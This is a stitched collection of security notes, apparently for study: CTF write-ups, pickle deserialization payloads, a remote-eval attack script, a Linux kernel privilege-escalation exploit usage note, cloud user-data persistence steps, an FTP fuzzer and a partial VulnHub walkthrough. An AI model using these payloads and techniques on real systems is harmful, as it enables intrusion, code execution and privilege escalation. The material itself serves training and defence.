- 利用回滚恢复
- 通过杀死进程恢复
## 死锁预防
在程序运行之前预防发生死锁。
### 1. 破坏互斥条件
例如假脱机打印机技术允许若干个进程同时输出,唯一真正请求物理打印机的进程是打印机守护进程。
### 2. 破坏占有和等待条件
一种实现方式是规定所有进程在开始执行前请求所需要的全部资源。
### 3. 破坏不可抢占条件
### 4. 破坏环路等待
给资源统一编号,进程只能按编号顺序来请求资源。
## 死锁避免
在程序运行时避免发生死锁。
### 1. 安全状态
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ed523051-608f-4c3f-b343-383e2d194470.png"/> </div><br>
图 a 的第二列 Has 表示已拥有的资源数,第三列 Max 表示总共需要的资源数,Free 表示还有可以使用的资源数。从图 a 开始出发,先让 B 拥有所需的所有资源(图 b),运行结束后释放 B,此时 Free 变为 5(图 c);接着以同样的方式运行 C 和 A,使得所有进程都能成功运行,因此可以称图 a 所示的状态时安全的。
定义:如果没有死锁发生,并且即使所有进程突然请求对资源的最大需求,也仍然存在某种调度次序能够使得每一个进程运行完毕,则称该状态是安全的。
安全状态的检测与死锁的检测类似,因为安全状态必须要求不能发生死锁。下面的银行家算法与死锁检测算法非常类似,可以结合着做参考对比。
### 2. 单个资源的银行家算法
一个小城镇的银行家,他向一群客户分别承诺了一定的贷款额度,算法要做的是判断对请求的满足是否会进入不安全状态,如果是,就拒绝请求;否则予以分配。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/d160ec2e-cfe2-4640-bda7-62f53e58b8c0.png"/> </div><br>
上图 c 为不安全状态,因此算法会拒绝之前的请求,从而避免进入图 c 中的状态。
### 3. 多个资源的银行家算法
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png"/> </div><br>
上图中有五个进程,四个资源。左边的图表示已经分配的资源,右边的图表示还需要分配的资源。最右边的 E、P 以及 A 分别表示:总资源、已分配资源以及可用资源,注意这三个为向量,而不是具体数值,例如 A=(1020),表示 4 个资源分别还剩下 1/0/2/0。
检查一个状态是否安全的算法如下:
- 查找右边的矩阵是否存在一行小于等于向量 A。如果不存在这样的行,那么系统将会发生死锁,状态是不安全的。
- 假若找到这样一行,将该进程标记为终止,并将其已分配资源加到 A 中。
- 重复以上两步,直到所有进程都标记为终止,则状态时安全的。
如果一个状态不是安全的,需要拒绝进入这个状态。
|
sec-knowleage
|
# Level17
#### About
There is a python script listening on port 10007 that contains a vulnerability.
To do this level, log in as the level17 account with the password level17. Files for this level can be found in /home/flag17.
#### Source code
```
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
```
#### Soltions
```
level17@nebula:~$ cat /tmp/lv17.txt
cos
system
(S'getflag > /tmp/pwnie17'
tR.
level17@nebula:~$ nc 192.168.1.106 10007 </tmp/lv17.txt
Accepted connection from 192.168.1.106:41703
^C
level17@nebula:~$ cat /tmp/pwnie17
You have successfully executed getflag on a target account
```
#### Recommneds
http://www.slideshare.net/sensepost/sour-pickles
|
sec-knowleage
|
## hsab (misc, 200)
In this task, we were given only an IP and port to connect to. After sending a simple proof of work,
we are immediately dropped into bash shell. Trying a couple of standard commands, such as `ls` or
`cat /etc/passwd` doesn't work - it said `ls: command not found`. Playing with it some more time, we
noticed `echo` actually did work, `echo xxx` actually printed `xxx`. Using `echo *`, `echo */*` and so on,
we could list all the files on the server. I did not save the output, but it was mostly normal Linux
stuff, `/etc` and similar. However, two things stood out. First, the only binaries in `/bin` were `bash`
itself and `server` - presumably the program managing the connection. Second, there was a file called
`/home/ctf/flag.ray`, probably containing the flag. However, without `cat` we could not easily read it.
Thankfully, most of the bash builtin commands were working. After quick look into `man bash`, we thought
`read` should work - `read xxx < flag.ray; echo $xxx` was the command we tried. Although it worked locally,
on the server it was syntax error - probably they disabled redirection, as `echo < /etc/passwd` errored too.
One more thing we tried, was running `bash flag.ray`. Trying it on local system with dummy flag, it outputed:
```
$ bash flag.ray
flag.ray: line 1: DUMMY_FLAG: command not found
```
On the server, there was no output though. That meant it was probably a correct bash script. Finally, the
thing that worked was running `bash -v flag.ray` - or running bash in verbose mode. It turned out, that
the file contents were `#BCTF{ipreferzshtobash}` - commented flag.
|
sec-knowleage
|
---
title: CVE-2021-22555
---
<center><h1>CVE-2021-22555</h1><b>本文作者:一生热爱</b><br><br></center>
---
## 一、描述
Linux 内核模块 Netfilter 中存在一处权限提升漏洞,在 64 位系统 上为 32 位进程处理 setsockopt IPT_SO_SET_REPLACE(或 IP6T_SO_SET_REPLACE)时,如果内核选项 CONFIG_USER_NS 、CONFIG_NET_NS 被开启,则攻击者可以通过该漏洞实现权限提升,以及从 Docker、k8s 容器中实施容器逃逸。
## 二、漏洞危害
本地权限提升与容器逃逸
## 三、影响范围
一个影响2006年(Linux kernel v2.6.19-rc1 发布)至今(Linux kernel v5.12-rc8)的所有Linux内核版本的漏洞,可导致本地提权与容器逃逸
## 四、漏洞利用
代码链接:[https://github.com/xyjl-ly/CVE-2021-22555-Exploit.git](https://github.com/xyjl-ly/CVE-2021-22555-Exploit.git)
GCC 编译为 ELF 文件,上传到受影响的目标机执行即可提权:
```bash
gcc -m32 -staic -o CVE_2021_22555_exploit_all_scan CVE_2021_22555_exploit_all_scan.c
./CVE_2021_22555_exploit_all_scan
```
如下图所示在 Ubuntu 18.04.5(5.4.0-42)提权
<img width="800" src="/img/Snipaste_2022-07-07_20-41-00.png"><br>
<img width="800" src="/img/Snipaste_2022-07-07_20-43-53.png">
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年7月7日"
}
}
</script>
|
sec-knowleage
|
import matplotlib.pyplot as plt
import seaborn as sns; sns.set() # for plot styling
import numpy as np
from sklearn.datasets.samples_generator import make_blobs
from numpy import genfromtxt
#humm, encontre este codigo en un servidor remoto
#estaba junto con el "traffic.pcap"
# que podria ser?, like some sample code
my_data2 = np.genfromtxt('test_2.txt', delimiter=',')
db = DBSCAN(eps=10000, min_samples=100000).fit(my_data2)
labels = db.labels_
n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)
core_samples_mask = np.zeros_like(db.labels_, dtype=bool)
core_samples_mask[db.core_sample_indices_] = True
unique_labels = set(labels)
colors = [plt.cm.Spectral(each)
for each in np.linsspace(0, 1, len(unique_labels))]
for k, col in zip(unique_labels, colors):
class_member_mask = (labels == k)
xy = X[class_member_mask & core_samples_mask]
plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}
#where "replace_here" is what you see
plt.title('aaaaaaaa: %d' % n_clusters_)
plt.show()
|
sec-knowleage
|
# 威胁狩猎
本篇主要是对“安全喷子”公众号中《威胁狩猎101文档》的学习笔记,作为个人的记录和分享。如有侵权,请告知。
## 概念
### 前置知识
#### 网络安全滑动标尺模型

图:Sans网络安全滑动标尺模型
目前,安全建设主要集中在架构安全与被动防御这两块,主动防御和威胁情报这块正在火热地建设中,而进攻(针对攻击者的合法反制措施和自我防御措施)、主动防御(以攻为守)这块则相对投入不足[2]。
在这种情况下,网络威胁狩猎(Cyber Threat Hunting)的概念应运而生。
## 定义
威胁狩猎,Cyber Threat Hunting。以下给出两种定义。
> 威胁狩猎的定义1(基于技术角度):威胁狩猎是一个高级安全功能,集成了主动防御、创新技术、技术专家以及深度威胁情报来发现和阻止恶意的并且极难检测的攻击行为。同时,这些攻击行为也是传统自动化的防御无法检测出来的。[1]
> 威胁狩猎的定义2(基于功能角度):威胁狩猎是企业机构基于威胁情报的自我查验。威胁狩猎需要提前掌握攻击者某些基本模糊特征和线索,即威胁情报,然后基于情报,通过旁路流量检测、系统日志检测或主机行为检测来挖掘正在进行的攻击行为或已经失陷的内网主机,其效果随着线索或情报的准确性、及时性和多样性而变化。[3]

图:威胁狩猎、SOC(安全运营中心)和事件响应之间的关系
SOC和TH的主要区别在于,SOC主要是运营维护日常的安全设备和SIEM报警以及如何分类处置这些事件(其实相当于是一个指挥调度中枢),而TH(威胁狩猎)主要是基于一些数据和征兆进行分析安全事件,而不是直接的安全报警(相当于是前方侦察兵)。最后IR(事件响应)则是根据TH和SOC提供的信息进行相关的动作以及后面如何处理、取证、恢复等(相当于是快速反应部队)。
三者的联系在于:
- TH将安全情报(Intelligence)输送给SOC团队(情报获取),并且从IR获取狩猎方法论(主动防御的措施,Methodologies)
- SOC输送安全事件(Incidents)给IR,并且从IR获取安全情报(Intelligence)
- IR接收TH和SOC输送的安全事件并进行进一步处理
## 过程和方式
### 威胁狩猎的过程

图:威胁狩猎的链条
- 基于假设作为狩猎起点
- 发现IT资产中的异常情况,就可能事件做好安全假设
- 借助工具和技术进行实际调查
- 若发现新的攻击方式和手段(TTPs: Tactics, Techniques and Procedures 战术、技术和手段),则增加到分析平台(一般在SOC中)或者以情报的形式输入到SIEM(Security information and event management, SOC中的系统)中
- 若SOC将安全事件输送到IR中,触发了事件响应,则完成一次闭环
### 威胁狩猎的方式(起点)
威胁分析的起点,往往决定了分析的方式。TH的起点是假设,分为以下几种,也就是TH的方式:
> **基于分析的方式:**分析分为两种,基本数据分析以及机器学习的UEBA的高级分析方式。
> **基于重点的方式:**皇冠珍珠分析法,基于IT资产中比较重要的资产进行重点关注。
> **基于情报的方式:**根据威胁情报提供的内容,进行威胁狩猎。[1]
“威胁狩猎需要提前掌握攻击者某些基本模糊特征和线索,即威胁情报,然后基于情报,通过旁路流量检测、系统日志检测或主机行为检测来挖掘正在进行的攻击行为或已经失陷的内网主机,其效果随着线索或情报的准确性、及时性和多样性而变化。“[3]
## 成熟度评价
威胁狩猎主要从分析水平、数据收集水平两个维度进行评价。这块主要针对企业的安全建设。
> **Level 0:**基本的自动化报警但没有数据收集;
> **Level 1:**有一定的威胁情报处理能力和一定的数据收集能力;
> **Level 2:**遵循数据分析的流程和较高级别的日常数据采集;
> **Level 3:**有一些新的分析流程和高级别的日常数据收集;
> **Level 4:**自动化大部分的分析过程和高级别的日常数据收集。

图:威胁狩猎成熟度的全面分析
## Threat Hunders需要的技能
以下是通过采访统计出来的技能需要(从高到低排序)
- 了解基线网络通信和活动(网络相关)
- 应急响应(Incident response)
- 威胁情报与分析
- 了解基线端点应用程序、用户和访问
- 网络取证(Network forensics)
- 终端取证(Endpoint forensics)
- 恶意软件分析
- 内存取证
- 其它

图:威胁狩猎团队成员应具备的技能[1]
## 数据来源
从调查统计中,可以得到主要数据源为: SIEM报警、终端事件数据、IPDS数据、威胁情报、终端日志数据。

图:威胁狩猎的数据来源[1]
## 组织架构
了解威胁狩猎组织团队的架构,可以作为个人技术选型的参考。

图:威胁狩猎团队的组织架构
即以下7种角色,有些角色可以合并为一个人,不一定是7个角色7个人。[1]
- 系统管理员
- 主要针对SIEM系统的维护以及威胁狩猎平台的管理
- 初级分析师
- 使用SIEM系统和威胁狩猎平台,处理报警和一些基本平台使用
- 中级分析师
- 具有对威胁情报、日志的分析能力,同时也具有渗透测试和网络协议的知识
- 高级分析师
- 具有风险等级评估、漏洞管理、网络包和日志的深度分析能力、以及恶意软件分析能力
- 取证专家
- 对于内存、硬盘要有专业的取证知识,可以做时间链分析
- 工具开发人员
- 具备开发经验,可以自动化一些狩猎场景
- 恶意软件分析工程师
- 主要负责恶意软件的逆向,熟悉汇编语言等内容
- 安全情报人员
- 具有情报资深经验,能够筛选、使用、开发威胁情报
##
## 具体步骤(管理角度)
从管理角度描述一下整个威胁狩猎的过程,一共分为六个步骤:目的确认、范围确认、技术准备、计划评审、执行、反馈 [1]
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200321193220.png" style="zoom:50%;" />
图:威胁狩猎的六个步骤
范围确认和技术准备是其中比较重要的两块。
### 范围确认
首先进行测试系统的选择,明确需要哪些数据和技术手段来进行威胁狩猎(熟悉测试范围)。
其次,进行假设用例的开发(尤为关键),是威胁狩猎分析的起点,也是方式的选择,这个过程"来源于对数据的一些基本分析和高级分析,威胁情报的使用和收集以及对TTP的理解,甚至是一些核心能力的使用,比如使用搜索的分析能力"[1]。
### 技术准备
#### 数据收集
利用利用数据收集管理架构CMF(Collection Management Framework),来评估收集的数据。参考以下的几个维度进行数据评估:
- 位置
- 数据类型
- KillChain阶段
- 收集方法
- 存储时间
总体来说,数据收集的内容主要有三种:
- 终端类型数据
- 包数据
- 日志数据
收集形式主要有拉和推两种方式:
- 主动拉取数据
- 推送数据
#### 产品技术选型
- 分析能力
- 安全大数据的分析能力、查询搜索能力和威胁情报处理能力。
- 分析能力作为核心能力,不仅仅在于基本的筛选、分类以及排序,还需要高级的分析能力,比如UEBA的能力
- 机器学习
- 根据机器学习算法来进行建模分析,来定位一些异常行为,极大地降低了分析的难度
- 查询搜索能力
- 查询搜索能力是维持威胁狩猎日常运营的能力,一些疑似的攻击行为可以通过查询进行定位并可以进行深度定点分析。通过查询搜索能力来完成对于ATT&CK场景的覆盖。
#### 威胁情报的使用
> 威胁情报的识别和使用是威胁狩猎平台比较常见的功能,可以根据[痛苦金字塔](https://www.jianshu.com/p/b3654b179277)的威胁情报的使用,可以先从简单的文件hash和恶意IP开始使用,然后逐步加强对威胁情报的使用能力,到最后的TTP,乃至自己生产威胁情报。
## 解决方案(产品与实例)
### SIEM类产品
- [TheHive](https://github.com/TheHive-Project/TheHive),开源事件响应平台
- SIEM魔力象限的领导者象限
- IBM的QRadar
- Splunk的Threat Hunting
- Logrhythm的威胁狩猎是通
- Securonix
- Exabeam威胁狩猎产品Threat Hunter
### 终端类产品
- Crowdstrike
- Cylance
- Carbon Black
- Endgame
- SentinelOne
### MDR类服务
- Red Canary's Approach to Hunting
## Reference
[1] 威胁狩猎101文档, 程度,
[2] 【公益译文】网络安全滑动标尺模型–SANS分析师白皮书, 绿盟科技,[http://blog.nsfocus.net/sliding-scale-cyber-security/](http://blog.nsfocus.net/sliding-scale-cyber-security/)
[3] 威胁情报的私有化生产和级联:威胁狩猎及情报共享,狴犴安全团队,https://www.freebuf.com/articles/es/222359.html
|
sec-knowleage
|
package org.vulhub.springcloudfunctionsample;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import java.util.function.Function;
import org.springframework.cloud.function.context.FunctionalSpringApplication;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
@SpringBootApplication
public class SpringCloudFunctionSampleApplication {
public static void main(String[] args) {
SpringApplication.run(SpringCloudFunctionSampleApplication.class, args);
}
@Bean
public Function<String, String> uppercase() {
return value -> value.toUpperCase();
}
@Bean
public Function<String, String> lowercase() {
return value -> value.toLowerCase();
}
}
|
sec-knowleage
|
# Python revenge (Web)
In the task we get access to a webpage which stores some data we input in a form.
We also get [source code](revenge.py) of the page.
It's using Flask and Python.
The important part is the way the page stores our input:
```python
location = b64e(pickle.dumps(location))
cookie = make_cookie(location, cookie_secret)
```
So the data are stored in a cookie using pickle, and as it seems they are loaded the same way:
```python
def loads(strs):
reload(pickle)
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
unpkler.dispatch[pickle.REDUCE] = _hook_call(
unpkler.dispatch[pickle.REDUCE])
return unpkler.load()
```
We've written already quite a few writeups on exploiting pickle.
In short pickle deserialization can call functions.
We only need to have a callable and tuple of arguments and we can call this.
The simplest trick would be to make a pickle like:
```
cos
system
(S'ls -la'
tR.
```
Where `c` means that rests of the line is module name and next line is symbol name to import, `S'some string'` places a string on the stack, `t` means pop elements from the stack up until `(` and then place a tuple of all those arguments on the stack, and `R` means pop 2 elements from the stack, and try to call the first one with second one as argument.
Dot is just end of pickle.
So this translates to: `os.system('ls -la')`
In our task we've got two issues to overcome. First there is a signature for the cookie content:
```python
def getlocation():
cookie = request.cookies.get('location')
if not cookie:
return ''
(digest, location) = cookie.split("!")
if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
flash("Hey! This is not a valid cookie! Leave me alone.")
return False
location = loads(b64d(location))
return location
def make_cookie(location, secret):
return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret):
return sha256("%s%s" % (location, secret)).hexdigest()
```
So we can't simply place any payload in the cookie, because we need to know the hash.
The secret to hash is appended at the end, so we can'y simply use hash length extension here.
However, we notice in the code:
```python
if not os.path.exists('.secret'):
with open(".secret", "w") as f:
secret = ''.join(random.choice(string.ascii_letters + string.digits)
for x in range(4))
f.write(secret)
with open(".secret", "r") as f:
cookie_secret = f.read().strip()
```
So the `secret` is actually only 4 bytes and only from `string.ascii_letters + string.digits` charset!
We can simply grab an some random cookie and then run:
```python
def break_cookie():
data = 'd7e3bd07f7ae389f07abe89d199ebae1e1e67b4479a98870ee5a3c4fe0f56237!VjErMQpwMAou'
(hash, msg) = data.split("!")
for c in itertools.product(string.ascii_letters + string.digits, repeat=4):
if hashlib.sha256("%s%s" % (msg, "".join(c))).hexdigest() == hash:
print("".join(c))
break_cookie()
```
This way we recover secret `hitb`
Now we can send arbitrary payloads to the page, now we need to face the second issue:
```python
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
```
We can't use any of those in our pickle payload, so our example with `os.system` won't do.
It took a moment to notice one important thing about this task - it's Python 2, and on the blacklist there is no `input()` function.
There is a huge difference between Python 2 and 3 regarding this function.
In Python 3 it behaves the same as `raw_input()` from Python 2 - it simply reads input from stdin.
But in Python 2 what it does is actually `eval(raw_input())`, so by using `input()` we can do `eval()`.
The function itself we can grab from `__builtin__` module so simple:
```
c__builtin__
input
(S'> '\ntR.
```
Would invoke the function with `> ` as prompt.
Now we need to actually send some data to the function, but it reads from `stdin`.
Fortunately python allows to monkey-patch almost anything, so we can simply assign some object to `sys.stdin` and therefore substitute stdin for something else.
Of course pickle requires the functinal form of `function, args` so we actually need to do `setattr(sys, 'stdin', something_else)`
Again, we can grab `setattr` from `__builtin__`.
To get `sys` module object we need to import it.
We can't use `csys` or `isys` because both require actually importing something from this module, not module itself.
What we need is to call `__import__('sys')`, and again function `__import__` is in `__builtin__`.
So we can just do:
```
c__builtin__
setattr
(c__builtin__
__import__
(S'sys'
tR
S'stdin'
SOMETHING_ELSE
tR.
```
Which will translate to `__builtin__.setattr(__builtin__.__import__('sys'),'stdin',SOMETHING_ELSE)`
Now the last part is to change `stdin` into some string based source, for that we can just use `StringIO` class so:
```
cStringIO
StringIO
(S'command'
tR.
```
So now if we combine this we get:
```
c__builtin__
setattr
(c__builtin__
__import__
(S'sys'
tRS'stdin'
cStringIO
StringIO
(S'" + command_to_eval + "'
tRtRc__builtin__
input
(S'python> '
tR.
```
Which translates to:
```
newstdin = StringIO.StringIO(command_to_eval) # just for readability
__builtin__.setattr(__builtin__.__import__('sys'),'stdin',newstdin)
__builtin__.input('python> ')
```
And gives us power to execute python.
The final attck script is simply:
```python
def main():
url = "http://47.75.151.118:9999"
response = ""
while True:
try:
command_to_eval = raw_input("python> ")
payload = "c__builtin__\nsetattr\n(c__builtin__\n__import__\n(S'sys'\ntRS'stdin'\ncStringIO\nStringIO\n(S'" + command_to_eval + "'\ntRtRc__builtin__\ninput\n(S'> '\ntR."
response = requests.get(url, cookies={"location": make_cookie(base64.b64encode(payload), 'hitb')})
print(re.findall('<h3 class="wow fadeInLeftBig">(.*?)</h3>', response.text, re.DOTALL)[0])
except Exception as e:
print(response.text)
main()
```
We can execute for example `__import__("subprocess").check_output("ls")` to run `ls` command.
For some reason it was failing on some commands, so we just kept using Python API like `__import__("os").listdir("/")`
In the root there was file `flag_is_here` and by sending `open('/flag_is_here','r').read()` we get: `HITB{Py5h0n1st8eBe3tNOW}`
|
sec-knowleage
|
---
title: 使用用户数据执行命令
---
<center><h1>使用用户数据执行命令</h1></center>
---
## 前言
在创建云服务器时,用户可以通过指定自定义数据,进行配置实例,当云服务器启动时,自定义数据将以文本的方式传递到云服务器中,并执行该文本,而且文本里的命令默认以 root 权限执行。
通过这一功能,攻击者可以修改实例的用户数据并向其中写入待执行的命令,这些代码将会在实例每次启动时自动执行。
## 控制台
在控制台界面可以直接编辑实例的用户数据。
在 AWS 下,修改用户数据需要停止实例,在 AWS 下停止实例会擦除实例存储卷上的所有数据,如果没设置弹性 IP,实例的公有 IP 也会变化,因此停止实例需谨慎。
修改用户数据的位置在:操作-> 实例设置->编辑用户数据
</br>
<img width="400" src="/img/1649998078.png"></br>
这里以执行 touch 命令为例,如果用户数据设置为以下内容,那么实例只有才第一次启动才会运行
```bash
#!/bin/bash
touch /tmp/teamssix.txt
```
如果用户数据设置为以下内容,那么实例只要重启就会运行
```bash
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
touch /tmp/teamssix.txt
--//--
```
</br>
<img width="800" src="/img/1649998187.png"></br>
保存用户数据后启动实例,这时进入实例,就可以看到刚才创建的文件了,这说明刚才的命令已经被执行了
</br>
<img width="600" src="/img/1649998204.png"></br>
## 命令行
除了在控制台上操作的方式外,也可以使用 aws cli 操作
```bash
aws ec2 run-instances --image-id ami-abcd1234 --count 1 --instance-type m3.medium \
--key-name my-key-pair --subnet-id subnet-abcd1234 --security-group-ids sg-abcd1234 \
--user-data file://my_script.txt
```
`my_script.txt`就是要执行的脚本
查看实例用户数据
```bash
aws ec2 describe-instance-attribute --instance-id i-1234567890abcdef0 --attribute userData --output text --query "UserData.Value" | base64 --decode
```
> 参考资料:
>
> https://aws.amazon.com/cn/premiumsupport/knowledge-center/execute-user-data-ec2/
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
# Video 1 Practical Fuzzing Basic using the Sulley Framework
# http://www.dfate.de/public/index.php/post/exploit-development-series-video-1-practical-fuzzing-basics-using-the-sulley-framework
# https://www.exploit-db.com/exploits/37731/
# -------------------------------------------------------------------
# Usage:
# C:\Fuzzing\sulley>python network_monitor.py -d 0 -f "port 21" -P audit
# C:\Fuzzing\sulley>python process_monitor.py -c audit\pcmanftpd_crashbin -p "PCManFTPD2.exe"
# -------------------------------------------------------------------
# Analysis:
"""
220 PCMan's FTP Server 2.0 Ready.
USER anonymous
331 User name okay, need password.
PASS password12345
230 User logged in
PORT 192,168,1,106,206,27
200 Command okay.
STOR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,28
200 Command okay.
LIST
150 File status okay; Open data connection.
226 Data Sent okay.
PORT 192,168,1,106,206,29
200 Command okay.
RETR demo2.txt
150 File status okay; Open data connection.
226 Data Sent okay.
QUIT
"""
from sulley import *
# General Overview
# 1. Create requests (define fuzzing grammar)
# 2. Define sessions
# 3. Define target
# 4. Fuzz!
# s_initialize - Construct a new request
# s_static ("USER") - A string that is static (umutated) and does not get fuzzed
# s_delin(" ") - A delimiter that can be fuzzed. Will have different mutations that using s_string
# s_string("anonymous") - A string that will be mutated. Includes more mutations than s_delim
# -------------------------------------------------------------------
# Grammar to be tested
s_initialize("user")
s_static("USER")
s_delim(" ", fuzzable=False)
s_string("anonymous")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ", fuzzable=False)
s_string("pass12345")
s_static("\r\n")
s_initialize("put")
s_static("PUT")
s_delim(" ", fuzzable=False)
s_string("fuzz_strings")
s_static("\r\n")
s_initialize("stor")
s_static("STOR")
s_delim(" ", fuzzable=True)
s_string("AAAA")
s_static("\r\n")
s_initialize("mkd")
s_static("MKD")
s_delim(" ", fuzzable=False)
s_string("AAAA")
s_static("\r\n")
# -------------------------------------------------------------------
# Define pre_send function. Will be executed right after the three-way handshake
def receive_ftp_banner(sock):
data = sock.recv(1024)
print(data)
# -------------------------------------------------------------------
# Define session
# Session parameters
SESSION_FILENAME = "pcmanftpd-session" # Keeps track of the current fuzzing state
SLEEP_TIME = 0.5 # Pause between two fuzzing attempts
TIMEOUT = 5 # Fuzzer will time out after 5 seconds of no connection
CRASH_THRESHOLD = 4 # After 4 crashes parameter will be skipped
mysession = sessions.session(
session_filename=SESSION_FILENAME,
sleep_time=SLEEP_TIME,
timeout=TIMEOUT,
crash_threshold=CRASH_THRESHOLD)
mysession.pre_send = receive_ftp_banner
mysession.connect(s_get("user"))
mysession.connect(s_get("user"), s_get("pass"))
mysession.connect(s_get("pass"), s_get("stor"))
mysession.connect(s_get("pass"), s_get("mkd"))
mysession.connect(s_get("pass"), s_get("put"))
# -------------------------------------------------------------------
# Draw graph representing the fuzzing paths.
with open("session_test.udg", "w+") as f:
f.write(mysession.render_graph_udraw())
# -------------------------------------------------------------------
# Just some overview output
print("Number of mutation during one case: %s\n" % str(s_num_mutations()))
print("Total number of mutations: %s\n" % str(s_num_mutations() * 5))
decision = raw_input("Do you want to continue?(y/n): ")
if decision == "n":
exit()
# -------------------------------------------------------------------
# Define target paramsters
host = "192.168.1.107"
ftp_port = 21
netmon_port = 26001
procmon_port = 26002
target = sessions.target(host, ftp_port)
target.procmon = pedrpc.client(host, procmon_port)
target.netmon = pedrpc.client(host, netmon_port)
target.procmon_options = {
"proc_name": "pcmanftpd2.exe",
"stop_commands": ["wmic process where (name='PCManFTPD2.exe') call terminate"],
"start_commands": ["C:\\PCManFTP\\PCManFTPD2.exe"]
}
# Add target to the session
mysession.add_target(target)
# -------------------------------------------------------------------
# Lets get rollin
print("Starting fuzzing now")
mysession.fuzz()
# Starts the fuzzing process and
# also the web interface (http://127.0.0.1:26000) to see the current state
|
sec-knowleage
|
# GREENOPTIC: 1
下载地址:
```
https://download.vulnhub.com/greenoptic/GreenOptic.ova
```
## 实战操作
发现靶机IP地址:`192.168.32.139`。
扫描靶机端口开放情况。
```
┌──(root💀kali)-[~/Desktop]
└─# nmap -sV -p1-65535 192.168.32.139
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-27 01:16 EST
Nmap scan report for 192.168.32.139
Host is up (0.00027s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
53/tcp open domain ISC BIND 9.11.4-P2 (RedHat Enterprise Linux 7)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
10000/tcp open http MiniServ 1.953 (Webmin httpd)
MAC Address: 00:0C:29:A1:9A:22 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.75 seconds
```
FTP使用匿名登录失败
```
┌──(root💀kali)-[~/Desktop]
└─# ftp 192.168.32.139
Connected to 192.168.32.139.
220 (vsFTPd 3.0.2)
Name (192.168.32.139:root): anomymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
```
浏览器访问80服务
 (1) (1).png>)
查看源代码,没有找到什么东西,使用dirbuster进行目录爆破,找到`account`目录
 (1) (1) (1) (1) (1) (1) (1).png>)
看到inclulde,就可以看看有没有文件包含漏洞。**查看源代码才可以看到有文件信息**。
 (1) (1) (1).png>)
暂时没有可以利用的地址,接下来看看10000端口。
 (1).png>)
需要写本地hosts地址,`greenoptic.vm`和`websrv01.greenoptic.vm`。
```
┌──(root💀kali)-[~/Desktop]
└─# cat /etc/hosts
192.168.32.139 websrv01.greenoptic.vm
192.168.32.139 greenoptic.vm
```
重新访问这个地址`https://websrv01.greenoptic.vm:10000`。使用弱口令登录失败。
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
端口开放53端口,测试一下有没有DNS域传送漏洞。
```
┌──(root💀kali)-[~/Desktop]
└─# dig axfr @192.168.32.139 greenoptic.vm
; <<>> DiG 9.16.11-Debian <<>> axfr @192.168.32.139 greenoptic.vm
; (1 server found)
;; global options: +cmd
